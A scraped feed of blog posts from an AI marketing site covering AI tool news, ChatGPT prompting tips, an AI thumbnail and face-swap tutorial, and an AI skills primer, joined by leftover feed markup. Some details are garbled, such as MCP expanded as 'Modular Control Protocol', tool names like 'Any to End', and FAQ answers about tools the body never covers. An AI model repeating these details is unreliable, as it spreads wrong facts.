A Pause for Purpose: Supporting Clean Water with Team Water 💧

Before diving deeper, I want to take a moment to highlight something truly important. Clean water is a resource many of us take for granted — but for one in ten people worldwide, access to safe drinking water is a daily struggle. No showers, no cooking, no safe water.

That’s why I’m proud to support Team Water, a global campaign led by creators like MrBeast and Mark Rober. Their goal is to raise $40 million to bring clean water to 2 million people.

This campaign isn’t about temporary fixes like bottled water or random wells. It’s about building sustainable infrastructure — solar-powered pumps, piped water systems, smart filtration, and remote monitoring technology. A single dollar provides one person with clean water for a year, and $20 can change lives for decades.

If you want to support this meaningful cause and help build a future where progress benefits everyone, check out the link in the description and contribute to Team Water. Every donation counts because water connects us all.

Veo 3’s Emergent Behaviour: Writing Text on Images to Influence Videos ✍

Google’s Veo 3 video model revealed a fascinating emergent behaviour that the creators didn’t expect. You can write instructions as text directly onto an input image, and the AI will generate a video following those instructions.

For example, if you write “dune buggy racing towards us at high speed” and “helicopter drops into the scene,” the model produces a video where a buggy zooms forward and a helicopter appears in hot pursuit.

Dune buggy and helicopter video generated by Veo 3

Other fun examples show a man jumping on a giant turtle walking to the ocean, or a crocodile opening its mouth as a man jumps on it. The text is initially visible on the first few frames but fades out, so you might want to skip those if using the footage.

I tried this myself using Leonardo’s new Lucid Origin model to create a picture of a man shooting a flaming arrow at the moon, adding text instructions on the image. Although the videos generated didn’t perfectly match my vision, the flaming arrow effect was there, and the instructions were removed successfully.

Midjourney Video: Looping and Start/End Frame Animation 🎥

Midjourney added a cool new feature to its video generation: you can now upload a starting frame and an ending frame to animate between them. Even better, you can use the same frame for the start and end to create a looping video.

I experimented with this by trying to animate myself morphing into a wolf — a classic werewolf transformation. The results were amusing but not quite the cinematic effect I hoped for; the wolf head just appeared floating above my head.

I also tested animating an airplane flying from one airport to another, but the video simply rotated the plane awkwardly rather than showing a flight path. Still, this feature opens creative possibilities for simple animations and loops.

Looping especially works well for repetitive actions. For example, I tried a looping video of me holding a fire extinguisher putting out a fire that restarts, but the fire behaviour was quirky and unrealistic. It shows there’s room for improvement, but the tools are evolving fast.

Ideogram: AI Character Generation from a Single Photo 🖼

One of the breakthroughs in AI image generation is Ideogram’s new Character model. This tool can create consistent AI characters from just a single input photo, which is a huge leap from older models that required dozens of images to learn your face.

You can upload your photo and place your character into existing templates or new images, and the AI will generate multiple versions with your face on them. For example, I transformed myself into a rock guitarist and even inserted my face into the famous Oscars group selfie, replacing Bradley Cooper.

Face swapped into Oscars group selfie using Ideogram

The results are surprisingly good and free to try right now. This makes face swapping and character generation accessible to everyone without the hassle of complicated training.

Meshy 5: Smarter, Cleaner 3D Models and Animations 🧩

Meshy, a tool for creating 3D models from images or text prompts, released its fifth version — Meshy 5 — which boasts smarter AI and cleaner models.

To test it, I asked for a 3D pizza loaded with toppings. The model generated a detailed pizza with a variety of toppings that looked pretty realistic, especially for a quick AI render.

3D pizza model generated by Meshy 5

I also tried converting a complex Rick and Morty restaurant scene into 3D. While the results weren’t perfect, the AI did a decent job mapping out the space better than I expected. Finally, I created a 3D model of the Rick and Morty spaceship. It had some transparency issues, but it was recognisable and could be a candidate for future 3D printing projects.

Tencent Hunyuan 3D World Model: Explore AI-Generated Worlds 🌍

Tencent Hunyuan released an open-source 3D world model that can generate explorable virtual worlds from text or images. When you log in, it drops you into a 3D scene where you can move around using keyboard controls, although movement is limited.

I tried entering a prompt for “the city of San Diego in the year 2500,” but the feature is currently in a waiting list phase for custom prompts. Still, the prebuilt scenes look promising for future interactive AI-generated environments.

ChatGPT Study Mode: Step-by-Step Learning 🧠

OpenAI introduced Study Mode in ChatGPT, designed to help users learn by guiding them through problems step-by-step instead of just giving answers. This is perfect for homework help, exam prep, or exploring new subjects.

For example, I gave it a twelfth-grade maths problem about a ball thrown upwards, and instead of solving it outright, ChatGPT broke down the problem, explained the quadratic equation involved, and asked me to try plugging in values to find the time of maximum height. It’s like having a patient tutor walk you through the process.

Adobe Photoshop’s New AI Features: Generative Upscale & Harmonize 🎨

Photoshop Beta received some exciting AI-powered updates. The Generative Upscale tool can enlarge low-resolution images while adding realistic detail, making images sharper and clearer.

Additionally, the new Harmonize feature lets you composite two images with very different lighting by adjusting colours and tones so they blend naturally. For example, I took a photo of a man on a beach and placed him in a nighttime Times Square scene. Harmonize adjusted the lighting and colours so he looked like he was actually there, complete with the red glow of the neon lights.

Harmonized composited image of man in Times Square

Rapid Fire AI Updates: Google AI UK, NotebookLM, Microsoft Edge Copilot & More ⚡

There were several other notable AI developments this week worth a quick mention:

  • Google AI Mode in UK Search: Google rolled out its AI-powered search mode in the UK, including a multimodality mode that lets you upload images and ask questions about them.
  • NotebookLM Video Overviews: Google’s NotebookLM now supports video overviews, generating narrated slideshows from podcasts or audio content.
  • Microsoft Edge Copilot Mode: Edge browser introduced a copilot mode that acts as an AI assistant, analysing tabs and helping with tasks.
  • Amazon Invests in Fable: Fable is building a “Netflix of AI” that can generate full 20-30 minute cartoon episodes from show concepts, with plans to license popular IPs like Toy Story.
  • Higgsfield AI’s Halo Video Model: Halo, a powerful AI video generator, is free for a limited time, offering unlimited generations.
  • Cursor’s Bugbot: A new AI tool that automatically reviews code changes to spot bugs and security issues before production.
  • ChatGPT Agent Passes “I am not a robot” Test: OpenAI’s agent can now bypass CAPTCHA tests by clicking verification buttons automatically.

Robots on the Rise: Laundry Bots and Agile Humanoids 🤖

Finally, let’s talk robots — because who doesn’t love robots?

Brett Adcock, founder of Figure Robotics, shared a video of the Helix robot doing laundry: loading clothes into a washing machine. It’s a step towards automating household chores, though folding and hanging clothes remain the bigger challenge.

On the more futuristic side, Unitree launched the R1 humanoid robot, priced at $5,900. This robot can do cartwheels, handstands, and karate kicks — quite a show! While it’s more novelty than household helper for now, it’s an exciting glimpse into agile robots with developer-friendly features.

Unitree R1 humanoid robot doing cartwheels

Frequently Asked Questions (FAQ) ❓

What is GLM 4.5 and why is it important?

GLM 4.5 is an open-weight large language model that performs as well as top proprietary models in reasoning, coding, and agentic tasks. Its open-weight nature means anyone can download and run it locally, making advanced AI more accessible.

How do Runway Aleph and Luma’s Modify with Instructions differ?

Both tools let you edit videos by describing changes, but Runway Aleph focuses on chat-based interaction and is available for paid users, while Luma offers adjustable “strength” for edits, allowing subtle or dramatic changes.

Can I use Ideogram’s character model for free?

Yes, Ideogram offers a free version where you can upload one photo and generate consistent AI characters or swap faces into images easily.

What new features does Photoshop Beta offer?

Photoshop Beta includes AI-powered generative upscaling to improve image resolution and a harmonize tool that matches lighting and colour between composited images for seamless edits.

Is the ChatGPT Study Mode good for learning?

Yes, Study Mode guides you through problems step-by-step rather than just giving answers, making it a helpful learning assistant for students and anyone looking to understand complex topics.

Are the robots shown available for home use?

The Helix laundry robot is a prototype showing promise, while the Unitree R1 humanoid robot is available for purchase but is currently more of a novelty than a practical home assistant.

Resources and Links 📚

Thanks for joining me on this AI journey! The pace of innovation is breathtaking, and I’m excited to see where these tools take us next.

 

]]> The Most Powerful ChatGPT Prompts Right Now https://aimktg.co.uk/news/master-powerful-chatgpt-prompts-2025/ Sun, 03 Aug 2025 20:20:52 +0000 https://aimktg.co.uk/?p=355

Hey there! I’m Matt Wolfe, and I want to share with you some of the best tips, tricks, and powerful prompt strategies for ChatGPT that I’ve been using in 2025. Whether you want to boost your productivity, learn new skills, improve your mental health, or just simplify your life and business, this guide will help you become a ChatGPT pro.

Over time, the way we interact with ChatGPT has evolved, and today I’m diving deep into what works right now. I’ll show you how I personally use ChatGPT through projects, share some life-changing prompts, and even reveal some advanced prompt engineering techniques that most people don’t know about. Plus, I’ll include some handy cheat codes and clever hacks to make your prompting smoother and more effective.

So, buckle up! This is your ultimate guide to mastering ChatGPT prompts in 2025.

Table of Contents 📚

Best Practices for Prompting Like a Pro 🧠

First off, let’s talk about the basics of how to get the best responses from ChatGPT. The key is in how you give your prompt. Here are some tips that really make a difference:

  • Be specific about the output format. Tell ChatGPT exactly how you want the answer. For example, ask for a checklist, a table, JSON format, or even a YouTube script. If you want an article summarised, say “Give this to me as a checklist,” and it will summarise accordingly.
  • Assign a role or character. You can ask ChatGPT to act as a financial advisor, an expert health coach, or even a drunken pirate! This makes the responses tailored and fun.
  • Give detailed instructions. For example, instead of “Give me ideas,” say “Give me five video title ideas under 50 characters that focus on FOMO.” The more specific you are, the better the output.
  • Use iteration loops. This is where you ask ChatGPT to write a rough draft, then critique its own draft, and then improve it based on the critique — all in one prompt. This leads to much better and polished results.

To sum it up, clear, detailed, and structured prompts yield the best results. Don’t be afraid to experiment with the format and the role you assign.

ChatGPT best practices for prompt engineering

How I Personally Use ChatGPT: Projects and Custom Instructions 🗂

One of my favourite ways to use ChatGPT is through projects. Think of a project as a special folder where you keep related chats, files, and custom instructions that shape how ChatGPT responds. Here’s how I use it:

  • Create a project for each big area. For example, I have projects for “New Video Game,” “Journal,” “Health Coach,” “Investment Advisor,” and “Explain This For Me.”
  • Add custom instructions to each project. These instructions set the role and context. For example, in my video game project, I tell ChatGPT: “You are an expert game designer and developer, inspired by rogue-like games, and a world-class coder.” This way, every prompt I give within this project follows these guidelines.
  • Add files for extra context. You can upload documents, images, or code files that ChatGPT can use to give better answers.
  • Keep your projects organised. Every new prompt within a project remembers the context and builds on previous chats, making it much easier to work on complex tasks over time.

Let me give you a quick example from my game design project. I asked ChatGPT to help design a colourful game based on wolves and monkeys. It came up with Wolf and Monkey Primal Clash, a rogue-lite action brawler where you switch between a wild wolf and a clever monkey to traverse procedurally generated jungle arenas. Each character has a unique playstyle, and you can merge them into a hybrid for powerful attacks. Pretty cool, right?

Custom instructions for ChatGPT project on game design

Projects are also great for personal growth. My journal project lets me brain dump thoughts and struggles. I’ve set it up as a journaling assistant that listens, offers advice, and gives tough love when needed. Because I included personal details like my work, family, and past struggles, it can give personalised and meaningful feedback every time I write.

Similarly, my health coach project helps me with workout plans, meal routines, and supplement advice. It knows my schedule, equipment, eating habits, and even my busy family life, so it tailors everything to fit me perfectly.

Health coach project with custom instructions and personalised advice

Finally, my “Explain This For Me” project is a lifesaver for simplifying complex articles and research papers. I ask it to give me a high-level summary, bulleted key points, analogies, and even a quick one-minute soundbite explaining why the news matters. This helps me prepare my weekend news videos quickly and clearly.

Simplifying complex articles with ChatGPT project

Prompts That Simplify Life and Business ✂

Now, let’s get practical. Here are some prompts that can make your daily life and business easier. These come from some great resources like Jenna Kutcher’s article on life-saving ChatGPT prompts.

Prompt Purpose Example Output
List three powerful wellness habits for better sleep, digestion, and mental clarity. Break them into morning, midday, and evening routines for a busy person. Keep it under five minutes. Quick wellness routines for busy people
  • Morning: Hydration, light stretching, mindfulness (2-5 mins each)
  • Midday: Movement breaks, deep breathing, healthy snacks
  • Evening: Reduce screen time, light reading, gentle yoga
Take this story and turn it into a 10-slide carousel with a story arc, a caption that opens with a strong hook, and a story sequence with built-in engagement prompts. Create social media content quickly
  • Slide 1: Hook – “OpenAI plus UK government, a bold AI power play”
  • Slides 2-9: Details, impact, big names, jobs, bigger picture
  • Slide 10: Call to action

Another great hack is to ask ChatGPT for recipes without all the fluff. Instead of scrolling through long articles, you can ask for a direct recipe, such as “Give me a recipe for amazing ribs cooked on my Traeger grill.” If you enable web search, it will pull fresh recipes from the web and give you a clean, straightforward recipe.

Trust me, these simplified prompts save a ton of time!

Prompts That Upgrade Your Hobbies & Skills 🎯

Want to get better at a hobby or skill? ChatGPT can help you create structured learning plans and quiz you to lock in knowledge. Here are two prompts I love, inspired by a Tom’s Guide article:

  1. Write me a 30-day plan for whatever hobby you want to learn.
    For example, I asked for a 30-day plan to improve my aerial drone photography skills. It broke it down into weekly themes like learning FAA rules, composition, advanced techniques, and portfolio prep. Each day has a clear task, and there’s a gear checklist and tips too.
  2. Quiz me on the history of AI.
    This helps reinforce what you learn. ChatGPT asks questions, then provides an answer key so you can test yourself. For example, it asked about the 1950 paper by Alan Turing, the 1956 Dartmouth workshop, and the 1966 chatbot Eliza.

30-day plan for aerial drone photography

These prompts are a fantastic way to turn ChatGPT into your personal tutor and practice partner.

Critical Thinking Prompts That Reveal Blind Spots 🤔

ChatGPT isn’t just for simple tasks — it can help you think deeply and challenge your assumptions. Here are some prompts that I use regularly to sharpen my thinking:

  • I believe [blank]. What hidden assumptions am I making? What evidence might contradict this?
    For fun, I tried “I believe the Earth is round.” ChatGPT listed assumptions like trusting mainstream physics and sensory cues, and then presented flat earth arguments with their rebuttals. It even explained why the globe model still wins.
  • If you were trying to convince me this is a terrible idea, what would be your most compelling arguments?
    I asked it to discourage me from building and selling a video game on Steam. It pointed out the fierce competition, low revenue for most games, marketing challenges, and costs. Then I asked for counterarguments to see the other side. This helps me weigh decisions better.
  • What might be the unexpected second and third order consequences of [a decision]?
    For example, I asked about selling my website “Future Tools.” ChatGPT identified risks like loss of credibility, newsletter growth stalling, reputational damage, and SEO challenges. It also gave gut check questions to consider before selling.

Critical thinking prompts to reveal hidden assumptions and consequences

These prompts are invaluable for anyone making big decisions or trying to see things from all angles.

Secret ChatGPT Modes: Cheat Codes from Reddit 🎮

Here’s a little secret from the ChatGPT community: there are quick cheat codes you can use inside ChatGPT to speed up your prompting. These come from a Reddit post by “stuck in good.”

Cheat Code Meaning Example
ELI5 Explain Like I’m 5 (simple explanation) “Quantum computing ELI5” gives a very simple explanation anyone can understand.
TLDR Summarise long text “Article about AI TLDR” returns a brief summary.
Jargonize Add technical jargon “Quantum computing jargonize” outputs a technical, expert-level explanation.
Humanize Make text less technical and more conversational “Quantum computing humanize” simplifies jargon for everyday people.
Feynman Technique Teach complex topics simply, test understanding, then refine “Teach me quantum computing using the Feynman technique” breaks down the topic step-by-step.

ChatGPT cheat codes from Reddit for faster prompting

These cheat codes are super handy shortcuts. Instead of typing long instructions, just add these keywords to your prompt and get the style you want immediately.

Advanced Prompt Engineering Techniques ⚙

Now for the big guns. These techniques take your ChatGPT experience to the next level. They focus on logical thinking, exploring multiple possibilities, and self-improvement of responses.

Tree of Thought Exploration 🌳

This technique makes ChatGPT explore several possible solutions or ideas before picking the best one. For example, I asked it to solve “job loss due to AI” by exploring three distinct solution branches:

Branch Idea Quality Score (0-10) Summary
1 Upskill in time with lifelong learning ecosystem 9 Focus on retraining workers with micro-credentials and wage subsidies.
2 AI dividend with universal basic income and tax reform 6 Redistribute AI productivity gains via UBI but politically challenging.
3 Work sharing and productivity dividend 7 Reduce workweek hours as AI boosts productivity.

After ranking, it chose branch 1 as the best solution, explaining its strengths and weaknesses in detail. This method is brilliant for tackling complex problems by considering multiple angles.

Tree of thought exploration for job loss due to AI

Self-Consistency Voting 🗳

This one asks ChatGPT to generate multiple independent answers to a question, then vote on the best one. For example, I asked it how to train AI without stealing creators’ work. It generated five different reasoning paths and voted for the majority view: only train on publicly licensed or public domain data and compensate creators fairly.

This technique ensures the answer is robust and well thought out.

Self-consistency voting prompt example

Reflection & Self-Critique Loop 🔄

Here, ChatGPT drafts an answer, then critiques its own response for flaws or gaps, and finally improves the answer. For example, I asked “What is responsible for climate change?” It first gave a basic answer, then pointed out missing citations, oversimplifications, and missing equity context. Then it produced a much more detailed, accurate, and nuanced final answer.

This method is great for getting thorough, high-quality responses.

Reflection and self critique loop for climate change

Automation-Workflow Finder 🤖

This prompt turns ChatGPT into a senior automation consultant. It asks you diagnostic questions about repetitive tasks in your job or life, ranks the top automation opportunities, suggests tools, and gives a step-by-step plan to implement automation.

For example, it identified my top five automation chances like video ideation, sponsor follow-ups, automated news feeds, and creative memory management. It then recommended tools and workflows to make these tasks easier.

Automation workflow finder prompt example

Creative Mode: Build Your Own World 🌍

Finally, you can turn ChatGPT into a world engine to create interactive stories or games. You give it a genre like solarpunk mystery, and it will narrate scenes, maintain a dynamic world state, and offer branching choices. Your decisions influence the story’s direction, making it like a text-based game.

I tried a solarpunk mystery where I had to choose between reporting to an archivist, exploring ruins, or confronting enemies. The story adapts and remembers your choices as you play.

ChatGPT world engine interactive story

Final Thoughts 🎉

These are some of the coolest ChatGPT tricks, prompts, and strategies I’ve discovered and used myself. This list isn’t exhaustive, but it should give you tons of ideas to experiment with and improve your ChatGPT experience.

Whether you want to simplify your life, make better decisions, automate workflows, or just have fun with creative storytelling, there’s a prompt or technique here for you. The key is to be specific, iterate, and use projects to keep your work organised and personalised.

Thanks so much for nerding out with me over ChatGPT today! I hope you found this guide helpful and that it sparks new ideas for your own AI journey.

FAQ ❓

What are the best practices for writing prompts to ChatGPT?

Be specific about the output format, assign a role or character, give detailed instructions, and use iteration loops where the model critiques and improves its own responses.

How do projects in ChatGPT help me?

Projects let you organise chats with custom instructions and files, keeping context consistent. This makes complex tasks easier and more personalised.

Can ChatGPT help with mental health or therapy?

ChatGPT can guide you through minor therapy exercises like cognitive behavioural therapy (CBT) techniques, but it’s not a replacement for a professional therapist.

What are some quick cheat codes to use with ChatGPT?

Use shortcuts like ELI5 (Explain Like I’m 5), TLDR (Summarise), Jargonize (Add technical language), Humanize (Simplify language), and Feynman Technique (Teach and test understanding).

What is tree of thought exploration in ChatGPT?

It’s a prompt engineering strategy where ChatGPT explores multiple solution branches for a problem, evaluates them, and selects the best one with justification.

How can I automate repetitive tasks using ChatGPT?

Use the automation-workflow finder prompt, which asks diagnostic questions, ranks automation opportunities, suggests tools, and provides a step-by-step plan.

Feel free to start experimenting with these prompts and techniques to unlock the full power of ChatGPT in your daily life and work!

]]> FORGET Photoshop! This FREE AI Makes YouTube Thumbnails Like MrBeast https://aimktg.co.uk/news/free-ai-youtube-thumbnails-like-mrbeast/ Sun, 29 Jun 2025 13:50:42 +0000 https://aimktg.co.uk/?p=335 If you are a YouTube creator looking to boost your views with eye-catching thumbnails, this guide is for you. Created by Bryan from Website Learners, this comprehensive tutorial reveals how you can generate stunning, viral thumbnails using free AI tools — no Photoshop skills needed! In this article, you will learn step-by-step how to create thumbnails that catch attention quickly, swap faces seamlessly into your designs, and even recreate popular thumbnails from other videos. These AI-powered tools analyse what works best on YouTube, helping you save time and effort while improving your channel’s growth.

Let’s dive into the exciting world of AI thumbnail creation and transform your YouTube channel’s visuals forever.

🚀 Why AI Thumbnails Are a Game-Changer for YouTube Creators

Creating thumbnails is crucial for YouTube success. They serve as the first impression viewers get of your video. A well-designed thumbnail can dramatically increase click-through rates and grow your audience. Traditionally, this meant mastering complex software like Photoshop. But what if an AI could do the heavy lifting for you?

That’s exactly what the AI tools Bryan introduces do. They analyse YouTube trends and visual data to generate thumbnails that are proven to work. This means you get:

  • Effortless creation: Just enter your video title, and the AI generates a thumbnail within seconds.
  • Customisation: Use prompts to add detailed instructions, ensuring your thumbnail looks exactly how you want.
  • Face swapping: Add yourself or any character into the thumbnail easily using AI-powered face swap technology.
  • Recreation of popular thumbnails: Replicate the style of successful thumbnails from other YouTube videos.

Imagine saving hours designing thumbnails and still creating engaging, viral visuals like MrBeast or other top creators!

🎨 How to Create a YouTube Thumbnail Using AI

Getting started is simple. The first AI tool Bryan recommends allows you to generate thumbnails by entering your video title. Here’s how to do it step-by-step:

  1. Click the link provided (found in the video description or your chosen AI tool).
  2. Sign in with your Google account.
  3. Enter your video title in the input box.
  4. Click “Run” to generate your thumbnail.

The AI will create a thumbnail based on your video title in seconds. The tool offers 10 free credits daily, with each thumbnail costing between 2 to 14 credits depending on complexity.

If you like the thumbnail, you can easily download it directly to your computer.

Thumbnail generated automatically from video title

Using Prompts for More Detailed Thumbnails

Want your thumbnail to be even better and more tailored to your style? You can use a “prompt” — a detailed description that tells the AI exactly what to include in your thumbnail. But writing a good prompt can be tricky, so Bryan provides a handy prompt template you can use with ChatGPT.

The prompt template looks like this:

Create a YouTube thumbnail for a video titled ‘[Insert Title Here].’ The thumbnail features [describe the character, props, and pose]. The background includes [describe key background visuals]. Add text saying ‘[Insert Text Here]’ in [font and style preferences]. Ensure the overall style is [clean/professional/etc.] with a [specified colour palette].

Here’s how to use the prompt template:

  1. Copy the prompt template from the description.
  2. Paste it into ChatGPT and replace the placeholders with your video details.
  3. Copy the generated prompt from ChatGPT.
  4. Paste the prompt back into the AI thumbnail tool input box.
  5. Click “Run” to generate a fully customised thumbnail.

This method allows you to get thumbnails that are not just random but perfectly suited to your video’s theme and style.

Using ChatGPT to create a detailed prompt for thumbnail

🖼 How to Swap Faces in Your Thumbnail Using AI

Adding yourself or another character into your thumbnail can increase engagement by making your videos feel more personal and relatable. Bryan introduces an easy way to do this using an AI face swapping tool.

Follow these simple steps:

  1. Go to the face swapping tool via the link in the description.
  2. Drag and drop your photo (the face you want to add).
  3. Upload the thumbnail you created earlier.
  4. Click “Upload and Start” to begin the face swap process.

The AI will instantly replace the face in your thumbnail with yours, maintaining the style and quality perfectly. You can then download the new thumbnail to your computer.

Face swapping process with AI tool

⚡ All-in-One AI Tool to Generate, Edit, and Recreate Thumbnails

Instead of using multiple tools, Bryan also shares an incredible all-in-one AI platform that can do everything: generate thumbnails, edit them, swap faces, and even recreate existing YouTube thumbnails in seconds.

This tool offers a special deal where you can generate up to 100 thumbnails for just one dollar — a fantastic bargain for serious YouTubers.

How to Use This All-in-One Tool

  1. Sign in with your Google account.
  2. Generate a thumbnail by pasting your ChatGPT-generated prompt.
  3. If you want to make changes, click “Edit,” enter your requests (e.g., “Keep text and image in the centre”), and regenerate.
  4. To add your face, upload your image and swap it in with a click.
  5. Download the final thumbnail.

All-in-one AI thumbnail generator interface

Recreate Any YouTube Thumbnail

One unique feature of this tool is the ability to recreate popular thumbnails from other YouTube videos. This is useful if you find a thumbnail style you like and want to make a similar one for your own content.

Here’s how:

  1. Copy the URL of the YouTube video with the thumbnail you want to recreate.
  2. Paste the URL into the “Recreate” section of the tool.
  3. Select how closely you want to match the original (e.g., “High”).
  4. Add any changes or customisations if desired.
  5. Click “Generate” to get your recreated thumbnail.

This feature makes it incredibly easy to stay trendy and competitive with minimal effort.

Recreating a YouTube thumbnail from URL

💡 Tips for Creating Viral Thumbnails That Get More Views

To maximise the impact of your AI-generated thumbnails, keep these tips in mind:

  • Use bold, clear text: Make sure your thumbnail text is easy to read even on small screens.
  • Include a human face: Thumbnails with faces tend to attract more clicks.
  • Use contrasting colours: Bright colours help your thumbnail stand out in search results.
  • Keep it simple: Avoid clutter; focus on one main subject or idea.
  • Be consistent: Develop a style that viewers associate with your channel.

AI vs Photoshop: Which One Should You Use?

While Photoshop is powerful, it requires time and skill. AI tools offer a quick, user-friendly alternative that can generate professional-quality thumbnails in seconds. For creators who want speed and ease without sacrificing quality, AI is the way forward.

Feature AI Thumbnail Tools Photoshop
Ease of Use Very easy, no design skills needed Requires learning and practice
Speed Seconds to generate Minutes to hours per thumbnail
Customisation Good with prompts and edits Highly customisable with full control
Cost Free plans available, paid for premium features Subscription-based, expensive
Face Swapping Built-in AI options Manual, requires advanced skills

🔍 Frequently Asked Questions (FAQ)

Q1: Are these AI thumbnail tools free to use?

Yes, most of the tools offer free plans with daily credits. However, some advanced features or higher usage may require payment.

Q2: Can I use these tools without any design experience?

Absolutely! The AI handles the design work for you. You just input your video title or prompt and get professional thumbnails instantly.

Q3: How do I write a good prompt for generating thumbnails?

Use the template provided to guide you. Describe the characters, background, text, style, and colours you want. You can use ChatGPT to help generate detailed prompts.

Q4: Can I add my own photo to the thumbnail?

Yes, with the face swapping AI tool, you can easily add your face or any other character to the thumbnail.

Q5: Is it possible to recreate thumbnails from other YouTube videos?

Yes, the all-in-one AI tool allows you to enter a YouTube video URL and generate a similar thumbnail quickly.

📢 Final Thoughts

Creating eye-catching YouTube thumbnails no longer needs to be a daunting task. With the power of AI, you can generate stunning, viral thumbnails effortlessly. Whether you want to create thumbnails from scratch, customise them with detailed prompts, add your face, or recreate popular styles — these AI tools have got you covered.

By using these tools, you save time, reduce costs, and improve your chances of attracting more viewers. So why wait? Start experimenting with AI thumbnails today, and watch your channel grow!

Before you go, don’t forget to check out Gravity Write for content writing needs and WebSpaceKit for hassle-free website creation. Links to these powerful tools are available to help you build your online presence with ease.

Happy thumbnail creating! 🎉

 

]]> Every Essential AI Skill in 25 Minutes (2025) https://aimktg.co.uk/news/master-essential-ai-skills-2025-basics-advanced-prompting/ Mon, 16 Jun 2025 21:52:11 +0000 https://aimktg.co.uk/master-essential-ai-skills-2025-basics-advanced-prompting/

Artificial Intelligence (AI) is changing the world faster than ever. If you want to be ahead in 2025, it is important to understand the key skills that will help you use AI effectively. This article shares a complete guide to the essential AI skills in 2025, from beginner to advanced levels. It is based on insights from Tina Huang, an ex-Meta data scientist and AI educator, who breaks down complex AI concepts into simple, practical ideas.

By the end of this article, you will have a clear understanding of AI basics, how to craft powerful prompts, what AI agents are, how to use AI for coding (called vibe coding), and what to expect in the near future of AI. Let’s dive in!

Introduction to AI skills for 2025

🤖 AI Basics & Terminologies

Before exploring advanced AI skills, it is important to understand what AI really means. Artificial Intelligence refers to computer programs that can perform tasks usually done by humans. These tasks include things like understanding language, recognising images, or making decisions.

AI has been around for a long time. Traditional AI, often called machine learning, powers tools like Google Search algorithms or YouTube’s recommendation system. These systems analyse data and help deliver personalised results. But the AI we hear about most today is generative AI.

Generative AI is a special kind that can create new content. It can write text, draw images, produce audio, or even generate video. This is a huge leap from older AI that only analysed data.

The most famous generative AI models are Large Language Models (LLMs). These models can read and produce human-like text. Examples include:

  • GPT family by OpenAI
  • Gemini by Google
  • Claude models by Anthropic

Many modern models are multimodal, meaning they can work with text, images, audio, and video all together. For instance, GPT-4o and Gemini 2.5 Pro are multimodal models.

Understanding these key terms helps you keep up with AI developments and use AI tools effectively.

Multimodal AI models example

Quick Quiz: AI Basics

Try answering these questions to test your understanding:

  1. What is generative AI?
  2. Name three examples of large language models.
  3. What does multimodal AI mean?

Share your answers in the comments!

✍ Prompt Engineering: The Skill That Unlocks AI

Prompting is the art of giving clear instructions to AI models to get useful results. It is the most valuable skill you can learn when working with AI. No matter how advanced the AI is, if you don’t know how to communicate with it, you won’t get the best results.

Prompting can involve text, images, audio, video, or even code. For beginners, a great way to start is by picking your favourite AI chatbot — like ChatGPT, Gemini, or Claude — and practising prompts.

Two powerful frameworks can help you craft better prompts:

Mnemonic Meaning Description
Tiny Crabs Ride Enormous Iguanas Task, Context, Resources, Evaluate, Iterate A step-by-step way to build and improve your prompt.
Ramen Saves Tragic Idiots Revisit, Separate, Try, Introduce Constraints Advanced techniques to refine your prompt for better results.

How to Use the Tiny Crabs Ride Enormous Iguanas Framework

  1. Task: Define what you want the AI to do. For example, “Create an Instagram post to market my new octopus merch line.”
  2. Context: Provide background information like company details, launch dates, and target audience. For example, “Our company is Lonely Octopus, targeting working professionals aged 20-40.”
  3. Resources: Supply examples or references that the AI can imitate, such as other IG posts you like.
  4. Evaluate: Check if the output meets your needs. If not, note what needs improvement.
  5. Iterate: Adjust your prompt and try again. Prompting is an iterative process to get the best results.

Adding a persona or specifying the output format can improve results. For example, ask the AI to “act as an expert IG influencer” or to “start the caption with a fun fact about octopi.”

Prompting framework steps

Refining Prompts with Ramen Saves Tragic Idiots

If your prompt isn’t working well, try this advanced framework:

  • Revisit: Go back to the Tiny Crabs framework and add or remove details.
  • Separate: Break your prompt into shorter, clearer sentences instead of one long block of text.
  • Try: Use different phrasing or analogies. For example, instead of “Help me write a speech,” say “Help me write a story illustrating my main point.”
  • Introduce Constraints: Limit the output with rules. For example, “Only include country music in my road trip playlist.”

Advanced prompting techniques

Why Prompting Will Never Be Obsolete

Prompting is the glue holding AI applications together. It is crucial not just for simple chatbots but also for advanced AI agents and coding tools. Improving your prompting skills will give you a big advantage in getting consistent and precise results from AI.

For a deep dive into prompting, check out Google’s prompting course and use prompt generators from OpenAI, Gemini, and Anthropic to help you get started.

🤖 AI Agents: Your AI Helpers

AI agents are software programs that use AI to complete tasks or pursue goals on your behalf. Think of them as AI versions of specific roles, like a customer service agent or a coding assistant.

For example, a customer service AI agent can read an email saying “I forgot my password” and reply with the right instructions, referencing the company’s password reset page. While AI agents are not perfect yet, they can handle common queries autonomously.

Similarly, a coding agent can write the first version of a web application based on your instructions. You still need to refine and add features, but the agent can generate a working MVP (Minimum Viable Product).

AI agents examples

What Makes Up an AI Agent?

OpenAI lists six key components of an AI agent:

Component Description
AI Model The brain that powers reasoning and decision-making.
Tools Interfaces the agent uses to perform actions, e.g., email access.
Knowledge & Memory Access to databases and the ability to remember past interactions.
Audio & Speech Allows natural language conversation in multiple languages.
Guardrails Safety systems to prevent harmful or unintended behaviour.
Orchestration Processes for deploying, monitoring, and improving agents.

Components of AI agents

Building AI Agents

There are many tools for building AI agents, including no-code, low-code, and coding frameworks:

  • No-code/Low-code: Any to End for general use, Gum Loop for enterprise.
  • Coding SDKs: OpenAI’s Agents SDK, Google’s ADK, and Anthropic’s Claude Code SDK.

These tools keep evolving, but the fundamental knowledge of agent components and protocols remains valuable. Understanding these basics prepares you for future developments.

Multi-agent systems are also becoming popular. Instead of one agent doing everything, multiple agents with specific roles work together, similar to how a company has different departments. This approach reduces confusion and improves efficiency.

Anthropic’s MCP (Modular Control Protocol) standardises how agents access tools and knowledge, like a universal USB plug for AI agents. This makes connecting agents to various APIs and databases much easier.

Multi-agent systems and MCP protocol

Real-World Use Case: Retool’s AI Agents Platform

Retool recently launched an enterprise-grade AI agent development platform that connects AI agents to real business systems. Unlike simple demos, Retool’s platform allows agents to read and write to databases, take real actions, and includes features like performance tracking and access control.

For example, the University of Texas Medical Branch increased their diagnostic capacity by ten times using Retool plus AI. Over 10,000 companies already use Retool, showing the power of practical AI agent implementation.

Retool AI agent platform for businesses

💻 Vibe Coding: AI-Assisted Application Building

Vibe coding is a new way to build software by fully trusting AI to write the code based on your instructions. Andrej Karpathy, co-founder of OpenAI, described vibe coding as “embracing exponentials and forgetting that the code even exists.”

Instead of writing code yourself, you tell the AI what you want to build, and it handles the implementation. For example, you can ask an AI to create a React web app called “Daily Vibes” where users select moods from emojis and write notes. The AI will generate the full app code for you.

